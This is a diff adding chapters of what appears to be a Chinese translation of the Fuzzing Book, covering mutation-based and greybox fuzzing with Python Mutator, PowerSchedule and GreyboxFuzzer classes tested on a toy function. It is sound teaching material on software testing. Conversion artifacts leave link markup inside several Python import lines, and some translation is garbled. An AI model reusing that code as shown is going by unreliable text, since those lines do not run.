+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT stack.o -MD -MP -MF .deps/stack.Tpo -c -o stack.o stack.c
+mv -f .deps/stack.Tpo .deps/stack.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT array.o -MD -MP -MF .deps/array.Tpo -c -o array.o array.c
+mv -f .deps/array.Tpo .deps/array.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT numeric.o -MD -MP -MF .deps/numeric.Tpo -c -o numeric.o numeric.c
+mv -f .deps/numeric.Tpo .deps/numeric.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT string.o -MD -MP -MF .deps/string.Tpo -c -o string.o string.c
+mv -f .deps/string.Tpo .deps/string.Po
+gcc -g -O2 -Wall -funsigned-char --coverage   -o dc dc.o misc.o eval.o stack.o array.o numeric.o string.o ../lib/libbc.a 
+Making all in doc
+restore=: && backupdir=".am$$" && \
+	am__cwd=`pwd` && CDPATH="${ZSH_VERSION+.}:" && cd . && \
+	rm -rf $backupdir && mkdir $backupdir && \
+	if (makeinfo --no-split --version) >/dev/null 2>&1; then \
+	  for f in bc.info bc.info-[0-9] bc.info-[0-9][0-9] bc.i[0-9] bc.i[0-9][0-9]; do \
+	    if test -f $f; then mv $f $backupdir; restore=mv; else :; fi; \
+	  done; \
+	else :; fi && \
+	cd "$am__cwd"; \
+	if makeinfo --no-split   -I . \
+	 -o bc.info bc.texi; \
+	then \
+	  rc=0; \
+	  CDPATH="${ZSH_VERSION+.}:" && cd .; \
+	else \
+	  rc=$?; \
+	  CDPATH="${ZSH_VERSION+.}:" && cd . && \
+	  $restore $backupdir/* `echo "./bc.info" | sed 's|[^/]*$||'`; \
+	fi; \
+	rm -rf $backupdir; exit $rc
+restore=: && backupdir=".am$$" && \
+	am__cwd=`pwd` && CDPATH="${ZSH_VERSION+.}:" && cd . && \
+	rm -rf $backupdir && mkdir $backupdir && \
+	if (makeinfo --no-split --version) >/dev/null 2>&1; then \
+	  for f in dc.info dc.info-[0-9] dc.info-[0-9][0-9] dc.i[0-9] dc.i[0-9][0-9]; do \
+	    if test -f $f; then mv $f $backupdir; restore=mv; else :; fi; \
+	  done; \
+	else :; fi && \
+	cd "$am__cwd"; \
+	if makeinfo --no-split   -I . \
+	 -o dc.info dc.texi; \
+	then \
+	  rc=0; \
+	  CDPATH="${ZSH_VERSION+.}:" && cd .; \
+	else \
+	  rc=$?; \
+	  CDPATH="${ZSH_VERSION+.}:" && cd . && \
+	  $restore $backupdir/* `echo "./dc.info" | sed 's|[^/]*$||'`; \
+	fi; \
+	rm -rf $backupdir; exit $rc
+make[4]: Nothing to be done for `all-am'.
+
+```
+
+文件`bc/bc`现在应该是可执行的...
+
+```py
+!cd bc-1.07.1/bc; echo 2 + 2 | ./bc
+
+```
+
+```py
+4
+
+```
+
+...并且您应该能够运行`gcov`程序来检索覆盖率信息。
+
+```py
+!cd bc-1.07.1/bc; gcov main.c
+
+```
+
+```py
+File 'main.c'
+Lines executed:51.69% of 118
+main.c:creating 'main.c.gcov'
+
+```
+
+如[“覆盖率”一章](Coverage.html)中所述，文件 [bc-1.07.1 / bc / main.c.gcov](bc-1.07.1/bc/main.c.gcov) 现在保存`bc.c`的覆盖范围信息。 每行都以执行次数为前缀。 `#####`表示零倍； `-`表示不可执行的行。
+
+像`FunctionCoverageRunner`一样，为`bc`解析GCOV文件并创建`coverage`集。 将其设置为`ProgramCoverageRunner`类，将使用一系列源文件（`bc.c`，`main.c`和`load.c`）构建该类以运行`gcov`。
+
+完成后，请不要忘记清理：
+
+```py
+!rm -fr bc-1.07.1 bc-1.07.1.tar.gz
+
+```
+
+### 练习3
+
+在[博客文章](https://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html)中， *American Fuzzy Lop* （AFL）的作者，一个非常流行的基于变异的模糊器，讨论了各种变异算子的效率。 如上例所示，实施其中四个并评估其效率。
+
+### 练习4
+
+将新元素添加到候选列表时，AFL实际上并不比较*覆盖率*，但如果它行使新的*分支*则添加元素。 使用[“覆盖率”](Coverage.html) 一章的练习中的分支覆盖率，实施此“分支”策略，并将其与上述“覆盖率”策略进行比较。
+
+### 练习5
+
+设计并实现一个系统，该系统将从Web收集大量URL。 您可以使用这些样本获得更高的覆盖率吗？ 如果将它们用作进一步突变的初始种群怎么办？
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/11.md b/new/fuzzing-book-zh/11.md
new file mode 100644
index 0000000000000000000000000000000000000000..342f5e53d59ba9501e4614a254549b83ca9dc756
--- /dev/null
+++ b/new/fuzzing-book-zh/11.md
@@ -0,0 +1,1340 @@
+# Greybox模糊测试
+
+> 原文： [https://www.fuzzingbook.org/html/GreyboxFuzzer.html](https://www.fuzzingbook.org/html/GreyboxFuzzer.html)
+
+在[的前一章](MutationFuzzer.html)中，我们介绍了*基于突变的模糊化*，该技术通过将小的突变应用于给定输入来生成模糊输入。 在本章中，我们将说明*如何将*这些突变导向特定目标，例如覆盖范围。 本书中的算法源于流行的 [American Fuzzy Lop](http://lcamtuf.coredump.cx/afl/) （AFL）模糊测试器，尤其是其 [AFLFast](https://github.com/mboehme/aflfast) 和 [AFLGo](https://github.com/aflgo/aflgo) 口味。 我们将探索AFL背后的灰箱模糊测试算法，以及如何利用它来解决各种漏洞自动检测功能。
+
+**前提条件**
+
+*   建议阅读有关基于[突变的模糊测试](MutationFuzzer.html)的介绍。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+## Greybox模糊测试的成分
+
+我们首先讨论突变测试和目标指导所需的最重要部分。
+
+### 背景
+
+AFL是基于*突变的模糊器*。 意思是，AFL通过稍微修改种子输入（即，突变）或通过将一个输入的前半部分与另一个输入的后半部分（即拼接）相结合来生成新的输入。
+
+AFL还是*灰盒模糊器*（不是黑盒或白盒）。 意思是，AFL利用覆盖率反馈来学习如何更深入地了解该计划。 这并非完全是黑盒，因为AFL至少利用了*和某些*程序分析功能。 这也不是完全白盒，因为AFL并非建立在重量级程序分析或约束解决上。 取而代之的是，AFL使用轻量级程序工具收集有关生成的输入的（分支）覆盖率的一些信息。 如果生成的输入增加覆盖范围，则将其添加到种子语料库以进一步进行模糊测试。
+
+为了检测程序，AFL在每条条件跳转指令之后立即插入一段代码。 当执行时，此所谓的蹦床会为锻炼的分支分配唯一的标识符，并递增与此分支关联的计数器。 为了提高效率，仅保留粗略的分支命中计数。 换句话说，对于每个输入，模糊器都知道哪个分支以及大概多久执行一次。 通常在编译时即在程序源代码被编译为可执行二进制文件时进行检测。 但是，可以使用诸如虚拟机（例如 [QEMU](https://github.com/mirrorer/afl/blob/master/qemu_mode) ）或动态检测工具（例如 [Intel PinTool](https://github.com/vanhauser-thc/afl-pin) ）之类的工具在非仪表二进制文件上运行AFL。 对于Python程序，我们无需任何检测即可收集覆盖率信息（请参阅[收集覆盖率](Coverage.html#Coverage-of-Basic-Fuzzing)的章节）。
+
+### 突变体和种子
+
+我们介绍了用于使种子变异的特定类。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+from [Coverage](Coverage.html) import Coverage, population_coverage
+
+```
+
+首先，我们将介绍`Mutator`类。 给定种子输入`inp`，mutator返回`inp`的略微修改版本。 在灰盒子语法模糊的[一章中，我们扩展了此类，以考虑智能灰盒子模糊检测的输入语法。](GreyboxGrammarFuzzer.html)
+
+```py
+class Mutator(object):
+    def __init__(self):
+        self.mutators = [
+            self.delete_random_character,
+            self.insert_random_character,
+            self.flip_random_character
+        ]
+
+```
+
+对于插入，我们在随机位置添加一个随机字符。
+
+```py
+class Mutator(Mutator):
+    def insert_random_character(self,s):
+        """Returns s with a random character inserted"""
+        pos = random.randint(0, len(s))
+        random_character = chr(random.randrange(32, 127))
+        return s[:pos] + random_character + s[pos:]
+
+```
+
+对于删除，如果字符串非空，请选择一个随机位置并删除字符。 否则，请使用插入操作。
+
+```py
+class Mutator(Mutator):
+    def delete_random_character(self,s):
+        """Returns s with a random character deleted"""
+        if s == "":
+            return self.insert_random_character(s)
+
+        pos = random.randint(0, len(s) - 1)
+        return s[:pos] + s[pos + 1:]
+
+```
+
+对于替换，如果字符串非空，则选择一个随机位置并翻转字符中的随机位。 否则，请使用插入操作。
+
+```py
+class Mutator(Mutator):
+    def flip_random_character(self,s):
+        """Returns s with a random bit flipped in a random position"""
+        if s == "":
+            return self.insert_random_character(s)
+
+        pos = random.randint(0, len(s) - 1)
+        c = s[pos]
+        bit = 1 << random.randint(0, 6)
+        new_c = chr(ord(c) ^ bit)
+        return s[:pos] + new_c + s[pos + 1:]
+
+```
+
+主要方法是`mutate`，它从运算符列表中选择一个随机突变运算符。
+
+```py
+class Mutator(Mutator):    
+    def mutate(self, inp):
+        """Return s with a random mutation applied"""
+        mutator = random.choice(self.mutators)
+        return mutator(inp)
+
+```
+
+让我们尝试增变器。 您实际上可以与此类“单元”进行交互，并通过将本章加载为Jupyter笔记本来尝试其他输入。 打开后，使用“内核->重新启动&全部运行”来运行笔记本中的所有单元。
+
+```py
+Mutator().mutate("good")
+
+```
+
+```py
+'cood'
+
+```
+
+### 电源表
+
+现在我们介绍一个新概念； *功率表*。 功率计划表将宝贵的模糊时间分配到种群中的各个种子之间。 我们的目标是最大程度地花时间模糊那些（最进步的）种子，从而在更短的时间内提高覆盖率。
+
+我们将从种群中选择种子的可能性称为种子的*能量*。 在整个测试过程中，我们希望优先考虑更有前途的种子。 简而言之，我们不想浪费能源消耗非渐进种子。 我们将确定种子能量的程序称为模糊器的*功率计划*。 例如，AFL的日程安排将更多的能量分配给较短的种子，执行速度更快的种子，并且产量覆盖率增加的频率更高。
+
+首先，除了种子数据外，我们还需要附加一些信息到每个种子。 因此，我们定义以下`Seed`类。
+
+```py
+class Seed(object):    
+    def __init__(self, data):
+        """Set seed data"""
+        self.data = data
+
+    def __str__(self):
+        """Returns data as string representation of the seed"""
+        return self.data
+    __repr__ = __str__
+
+```
+
+以下实施的功率计划为每个种子分配相同的能量。 一旦种子进入种群，它就会像种群中的任何其他种子一样被频繁地起毛。
+
+在Python中，我们可以将长的for循环压缩为更小的语句。
+
+*   `lambda x: ...`返回以`x`作为输入的函数。 Lambda允许快速定义未命名的函数。
+*   `map(f, l)`返回一个列表，其中功能`f`应用于列表`l`中的每个元素。
+*   `np.random.choice(l,p)`以`p[i]`中的概率返回元素`l[i]`。
+
+```py
+import [numpy](https://docs.python.org/3/library/numpy.html) as [np](https://docs.python.org/3/library/np.html)
+
+```
+
+```py
+class PowerSchedule(object):    
+    def assignEnergy(self, population):
+        """Assigns each seed the same energy"""
+        for seed in population:
+            seed.energy = 1
+
+    def normalizedEnergy(self, population):
+        """Normalize energy"""
+        energy = list(map(lambda seed: seed.energy, population))
+        sum_energy = sum(energy)  # Add up all values in energy
+        norm_energy = list(map(lambda nrg: nrg/sum_energy, energy))
+        return norm_energy
+
+    def choose(self, population):
+        """Choose weighted by normalized energy."""
+        import [numpy](https://docs.python.org/3/library/numpy.html) as [np](https://docs.python.org/3/library/np.html)
+
+        self.assignEnergy(population)
+        norm_energy = self.normalizedEnergy(population)
+        seed = np.random.choice(population, p=norm_energy)
+        return seed
+
+```
+
+让我们看看此功率调度是否随机地均匀选择种子。 我们要求时间表10k次从三颗种子（A，B，C）的种群中选择一颗种子，并跟踪我们看到每颗种子的次数。 我们应该看到每个种子大约3.3k次。
+
+```py
+population = [Seed("A"), Seed("B"), Seed("C")]
+schedule = PowerSchedule()
+hits = {
+    "A" : 0,
+    "B" : 0,
+    "C" : 0
+}
+
+for i in range(10000):
+    seed = schedule.choose(population)
+    hits[seed.data] += 1
+
+hits
+
+```
+
+```py
+{'A': 3372, 'B': 3319, 'C': 3309}
+
+```
+
+看起来不错。 每粒种子的选择率约为三分之一。
+
+### 流道和示例程序
+
+我们将从一个六行的小示例程序开始。 为了在执行期间收集覆盖率信息，我们从基于基于突变的[的模糊](MutationFuzzer.html#Guiding-by-Coverage)一章中导入了`FunctionCoverageRunner`类。
+
+`FunctionCoverageRunner`构造函数使用Python `function`执行。 函数`run`接受输入，将其传递给Python `function`，并收集此执行的覆盖率信息。 函数`coverage()`为Python `function`中涵盖的每个语句返回元组`(function name, line number)`的列表。
+
+```py
+from [MutationFuzzer](MutationFuzzer.html) import FunctionCoverageRunner
+
+```
+
+`crashme()`函数引发输入“ bad！”的异常。 让我们看看输入“ good”涵盖了哪些语句。
+
+```py
+def crashme (s):
+    if             len(s) > 0 and s[0] == 'b':
+        if         len(s) > 1 and s[1] == 'a':
+            if     len(s) > 2 and s[2] == 'd':
+                if len(s) > 3 and s[3] == '!':
+                    raise Exception()
+
+crashme_runner = FunctionCoverageRunner(crashme)
+crashme_runner.run("good")
+list(crashme_runner.coverage())
+
+```
+
+```py
+[('__exit__', 25), ('crashme', 2), ('run_function', 7)]
+
+```
+
+在`crashme`中，输入“ good”仅覆盖第2行中的if语句。分支条件`len(s) > 0 and s[0] == 'b'`的计算结果为False。
+
+## 黑盒，灰盒和增强型灰盒模糊化
+
+### 基于黑盒变异的模糊器
+
+让我们将增幅器和功率计划集成到模糊器中。 我们将从黑匣子模糊器开始-它不会*而不是*利用任何覆盖率信息。
+
+我们的`MutationFuzzer`类继承自 [Fuzzer](Fuzzer.html#Fuzzer-Classes) 类。 现在，我们只需要知道函数`fuzz`返回生成的输入，以及函数`runs`执行指定次数的`fuzz`。 对于我们的`MutationFuzzer`类，我们覆盖了`fuzz`函数。
+
+```py
+from [Fuzzer](Fuzzer.html) import Fuzzer
+
+```
+
+`MutationFuzzer`由一组初始种子，一个变量和一个功率计划构成。 在整个模糊测试过程中，它维护着一个称为`population`的种子主体。 函数`fuzz`从初始种子返回未模糊的种子，或者对总体中的种子进行模糊处理的结果。 函数`create_candidate`处理后者。 它从总体中随机选择一个输入，并应用许多突变。
+
+```py
+class MutationFuzzer(Fuzzer):
+
+    def __init__(self, seeds, mutator, schedule):
+        self.seeds = seeds
+        self.mutator = mutator
+        self.schedule = schedule
+        self.inputs = []
+        self.reset()
+
+    def reset(self):
+        """Reset the initial population and seed index"""
+        self.population = list(map(lambda x: Seed(x), self.seeds))
+        self.seed_index = 0
+
+    def create_candidate(self):
+        """Returns an input generated by fuzzing a seed in the population"""
+        seed = self.schedule.choose(self.population)
+
+        # Stacking: Apply multiple mutations to generate the candidate
+        candidate = seed.data
+        trials = min(len(candidate), 1 << random.randint(1,5))
+        for i in range(trials):
+            candidate = self.mutator.mutate(candidate)
+        return candidate
+
+    def fuzz(self):
+        """Returns first each seed once and then generates new inputs"""
+        if self.seed_index < len(self.seeds):
+            # Still seeding
+            self.inp = self.seeds[self.seed_index]
+            self.seed_index += 1
+        else:
+            # Mutating
+            self.inp = self.create_candidate()
+
+        self.inputs.append(self.inp)
+        return self.inp
+
+```
+
+好吧，让我们旋转一下变异模糊器。 给定一个种子，我们要求它生成三个输入。
+
+```py
+seed_input = "good"
+mutation_fuzzer = MutationFuzzer([seed_input], Mutator(), PowerSchedule())
+print(mutation_fuzzer.fuzz())
+print(mutation_fuzzer.fuzz())
+print(mutation_fuzzer.fuzz())
+
+```
+
+```py
+good
+ooD
+cW(ond
+
+```
+
+让我们看看在n = 30k输入的广告活动中，基于变异的黑盒模糊器包含多少条语句。
+
+模糊器功能`runs(crashme_runner, trials=n)`生成`n`输入，并通过`crashme_runner`在`crashme`功能上执行它们。 如前所述，`crashme_runner`还收集覆盖信息。
+
+```py
+import [time](https://docs.python.org/3/library/time.html)
+n = 30000
+
+```
+
+```py
+blackbox_fuzzer = MutationFuzzer([seed_input], Mutator(), PowerSchedule())
+
+start = time.time()
+blackbox_fuzzer.runs(FunctionCoverageRunner(crashme), trials=n)
+end = time.time()
+
+"It took the blackbox mutation-based fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the blackbox mutation-based fuzzer 1.41 seconds to generate and execute 30000 inputs.'
+
+```
+
+为了衡量覆盖率，我们导入了 [Population_coverage](Coverage.html#Coverage-of-Basic-Fuzzing) 函数。 它接受一组输入和一个Python函数，在该函数上执行输入并收集coverage信息。 具体来说，它返回一个元组`(all_coverage, cumulative_coverage)`，其中`all_coverage`是所有输入覆盖的语句集，`cumulative_coverage`是随着执行的输入数量增加而覆盖的语句数。 我们只是对后者感兴趣，以便随着时间的推移绘制覆盖范围。
+
+```py
+from [Coverage](Coverage.html) import population_coverage
+
+```
+
+我们从黑匣子模糊器中提取生成的输入，并随着输入数量的增加来测量覆盖率。
+
+```py
+_, blackbox_coverage = population_coverage(blackbox_fuzzer.inputs, crashme)
+bb_max_coverage = max(blackbox_coverage)
+
+"The blackbox mutation-based fuzzer achieved a maximum coverage of %d statements." % bb_max_coverage
+
+```
+
+```py
+'The blackbox mutation-based fuzzer achieved a maximum coverage of 3 statements.'
+
+```
+
+以下生成的输入增加了`crashme` [示例](#Runner-and-Sample-Program)的覆盖范围。
+
+```py
+[seed_input] + \
+[blackbox_fuzzer.inputs[idx] for idx in range(len(blackbox_coverage)) 
+    if blackbox_coverage[idx] > blackbox_coverage[idx - 1]
+]
+
+```
+
+```py
+['good', 'bgod']
+
+```
+
+***摘要*** 。 这是基于黑盒突变的模糊器的工作方式。 我们集成了*变异子*，以通过模糊提供的一组初始种子和*功率调度*来决定下一步选择哪个种子来生成输入。
+
+### 基于Greybox变异的Fuzzer
+
+与黑箱模糊器相比，像 [AFL](http://lcamtuf.coredump.cx/afl/) *这样的灰箱模糊器确实会*利用覆盖信息。 具体来说，灰盒模糊器会在种子种群中添加生成的输入，从而增加代码覆盖率。
+
+方法`run()`继承自 [Fuzzer](Fuzzer.html#Fuzzer-Classes) 类。 调用它可以生成并执行一个输入。 我们重写此功能可向`population`添加输入以增加覆盖范围。 灰盒模糊器属性`coverages_seen`维护先前已涵盖的语句集。
+
+```py
+class GreyboxFuzzer(MutationFuzzer):    
+    def reset(self):
+        """Reset the initial population, seed index, coverage information"""
+        super().reset()
+        self.coverages_seen = set()
+        self.population = [] # population is filled during greybox fuzzing
+
+    def run(self, runner):
+        """Run function(inp) while tracking coverage.
+ If we reach new coverage,
+ add inp to population and its coverage to population_coverage
+ """
+        result, outcome = super().run(runner)
+        new_coverage = frozenset(runner.coverage())
+        if new_coverage not in self.coverages_seen:
+            # We have new coverage
+            seed = Seed(self.inp)
+            seed.coverage = runner.coverage()
+            self.coverages_seen.add(new_coverage)
+            self.population.append(seed)
+
+        return (result, outcome)
+
+```
+
+让我们将灰盒模糊器旋转一下。
+
+```py
+seed_input = "good"
+greybox_fuzzer = GreyboxFuzzer([seed_input], Mutator(), PowerSchedule())
+
+start = time.time()
+greybox_fuzzer.runs(FunctionCoverageRunner(crashme), trials=n)
+end = time.time()
+
+"It took the greybox mutation-based fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the greybox mutation-based fuzzer 1.67 seconds to generate and execute 30000 inputs.'
+
+```
+
+在生成相同数量的测试输入后，灰盒模糊器会覆盖更多语句吗？
+
+```py
+_, greybox_coverage = population_coverage(greybox_fuzzer.inputs, crashme)
+gb_max_coverage = max(greybox_coverage)
+
+"Our greybox mutation-based fuzzer covers %d more statements" % (gb_max_coverage - bb_max_coverage)
+
+```
+
+```py
+'Our greybox mutation-based fuzzer covers 2 more statements'
+
+```
+
+[示例](#Runner-and-Sample-Program)的种子种群现在包含以下种子。
+
+```py
+greybox_fuzzer.population
+
+```
+
+```py
+[good, bood, ba,oo`, bad
+ oo1]
+
+```
+
+覆盖反馈确实有帮助。 这些新种子就像面包屑或里程碑一样，它们指导模糊器更快地进入更深的代码区域。 以下是一个简单的图表，显示了在我们的简单[示例](#Runner-and-Sample-Program)上两个模糊器随时间推移所实现的覆盖范围。
+
+```py
+%matplotlib inline
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+line_bb, = plt.plot(blackbox_coverage, label="Blackbox")
+line_gb, = plt.plot(greybox_coverage, label="Greybox")
+plt.legend(handles=[line_bb, line_gb])
+plt.title('Coverage over time')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,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